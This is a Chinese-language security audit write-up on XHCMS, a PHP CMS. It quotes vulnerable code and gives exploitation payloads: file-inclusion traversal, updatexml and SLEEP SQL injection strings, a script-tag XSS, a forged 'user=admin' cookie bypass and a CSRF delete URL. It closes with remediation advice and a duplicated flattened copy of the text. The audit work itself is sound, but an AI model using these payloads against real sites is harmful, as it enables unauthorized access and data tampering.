某cms代码审计
字数 1151 2025-08-26 22:11:15

XHCMS代码审计报告与漏洞分析

目录结构分析

admin         --管理后台文件夹
css           --存放css的文件夹
files         --存放页面的文件夹
images        --存放图片的文件夹
inc           --存放网站配置文件的文件夹
install       --网站进行安装的文件夹
seacmseditor  --编辑器文件夹
template      --模板文件夹
upload        --上传功能文件夹
index.php     --网站首页

一、文件包含漏洞

1. 前台文件包含 (index.php)

<?php
error_reporting(0);
$file = addslashes($_GET['r']); //接收文件名
$action = $file == '' ? 'index' : $file;
include('files/' . $action . '.php'); //载入相应文件

漏洞分析

  • 使用addslashes转义输入,但对文件包含无影响
  • 存在目录穿越漏洞,可包含任意文件

利用方式

?r=2          //包含files/2.php
?r=../1       //包含根目录的1.php

2. 后台文件包含 (admin/index.php)

  • 存在相同问题,可包含任意文件

二、SQL注入漏洞

1. 后台登录注入 (admin/login.php)

$user = $_POST['user'];
$query = "SELECT * FROM manage WHERE user='$user'";

漏洞分析

  • 直接拼接用户输入到SQL语句
  • 无任何过滤措施
  • 开启MySQL错误回显

利用方式

  • 报错注入:
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
  • 时间盲注:
' AND (SELECT 4931 FROM (SELECT(SLEEP(5)))PEws)-- QzwB

2. 其他SQL注入点

  • admin/softlist.php (delete参数)
  • admin/editlink.php (id参数)
  • admin/editcolumn.php (id和type参数)
  • admin/editsoft.php (id参数)
  • admin/columnlist.php (delete和delete2参数)
  • file/software.php (cid参数)

共同特点

  • 直接拼接用户输入到SQL语句
  • 无过滤措施
  • 开启MySQL错误回显
  • 支持报错注入、时间盲注、布尔盲注

三、XSS漏洞

1. 反射型XSS (file/contact.php)

$page = addslashes($_GET['page']);
<?php echo $page ?>

漏洞分析

  • addslashes对JS标签无效
  • 直接输出未过滤的用户输入

利用方式

?r=contact&page=<script>alert(1)</script>
?r=contact&page=

2. 存储型XSS (admin/file/mangeinfo.php)

$user=$_POST['user'];
$name=$_POST['name'];
//...
$query = "UPDATE manage SET user='$user', name='$name'...";

漏洞分析

  • POST参数直接存入数据库
  • 无任何过滤措施

利用方式


四、垂直越权漏洞 (inc/checklogin.php)

$user=$_COOKIE['user'];
if ($user==""){
    header("Location: ?r=login");
    exit;   
}

漏洞分析

  • 仅检查cookie中user是否存在
  • 可伪造cookie实现越权

利用方式

  • 在cookie中添加:user=admin

五、CSRF漏洞 (admin/files/wzlist.php)

$delete=$_GET['delete'];
if ($delete<>""){
    $query = "DELETE FROM content WHERE id='$delete'";
    //...
}

漏洞分析

  • 删除操作仅依赖GET参数
  • 无CSRF防护措施

利用方式

www.xh.com/admin/?r=wzlist&delete=18

漏洞修复建议

  1. 文件包含漏洞

    • 使用白名单限制包含文件
    • 禁止目录穿越字符
  2. SQL注入漏洞

    • 使用预处理语句(PDO/mysqli)
    • 对输入进行严格过滤
    • 关闭错误回显
  3. XSS漏洞

    • 输出时使用htmlspecialchars转义
    • 对用户输入进行严格过滤
  4. 垂直越权

    • 使用Session而非Cookie验证
    • 增加更严格的权限验证
  5. CSRF漏洞

    • 增加CSRF Token验证
    • 重要操作使用POST请求

总结

XHCMS存在多处高危漏洞,包括文件包含、SQL注入、XSS、越权和CSRF等,主要原因是缺乏输入验证和输出过滤,直接拼接用户输入到敏感操作中。建议开发者全面重构安全机制,用户应立即停止使用该CMS或进行彻底的安全加固。

XHCMS代码审计报告与漏洞分析 目录结构分析 一、文件包含漏洞 1. 前台文件包含 (index.php) 漏洞分析 : 使用 addslashes 转义输入,但对文件包含无影响 存在目录穿越漏洞,可包含任意文件 利用方式 : 2. 后台文件包含 (admin/index.php) 存在相同问题,可包含任意文件 二、SQL注入漏洞 1. 后台登录注入 (admin/login.php) 漏洞分析 : 直接拼接用户输入到SQL语句 无任何过滤措施 开启MySQL错误回显 利用方式 : 报错注入: 时间盲注: 2. 其他SQL注入点 admin/softlist.php (delete参数) admin/editlink.php (id参数) admin/editcolumn.php (id和type参数) admin/editsoft.php (id参数) admin/columnlist.php (delete和delete2参数) file/software.php (cid参数) 共同特点 : 直接拼接用户输入到SQL语句 无过滤措施 开启MySQL错误回显 支持报错注入、时间盲注、布尔盲注 三、XSS漏洞 1. 反射型XSS (file/contact.php) 漏洞分析 : addslashes 对JS标签无效 直接输出未过滤的用户输入 利用方式 : 2. 存储型XSS (admin/file/mangeinfo.php) 漏洞分析 : POST参数直接存入数据库 无任何过滤措施 利用方式 : 四、垂直越权漏洞 (inc/checklogin.php) 漏洞分析 : 仅检查cookie中user是否存在 可伪造cookie实现越权 利用方式 : 在cookie中添加: user=admin 五、CSRF漏洞 (admin/files/wzlist.php) 漏洞分析 : 删除操作仅依赖GET参数 无CSRF防护措施 利用方式 : 漏洞修复建议 文件包含漏洞 : 使用白名单限制包含文件 禁止目录穿越字符 SQL注入漏洞 : 使用预处理语句(PDO/mysqli) 对输入进行严格过滤 关闭错误回显 XSS漏洞 : 输出时使用htmlspecialchars转义 对用户输入进行严格过滤 垂直越权 : 使用Session而非Cookie验证 增加更严格的权限验证 CSRF漏洞 : 增加CSRF Token验证 重要操作使用POST请求 总结 XHCMS存在多处高危漏洞,包括文件包含、SQL注入、XSS、越权和CSRF等,主要原因是缺乏输入验证和输出过滤,直接拼接用户输入到敏感操作中。建议开发者全面重构安全机制,用户应立即停止使用该CMS或进行彻底的安全加固。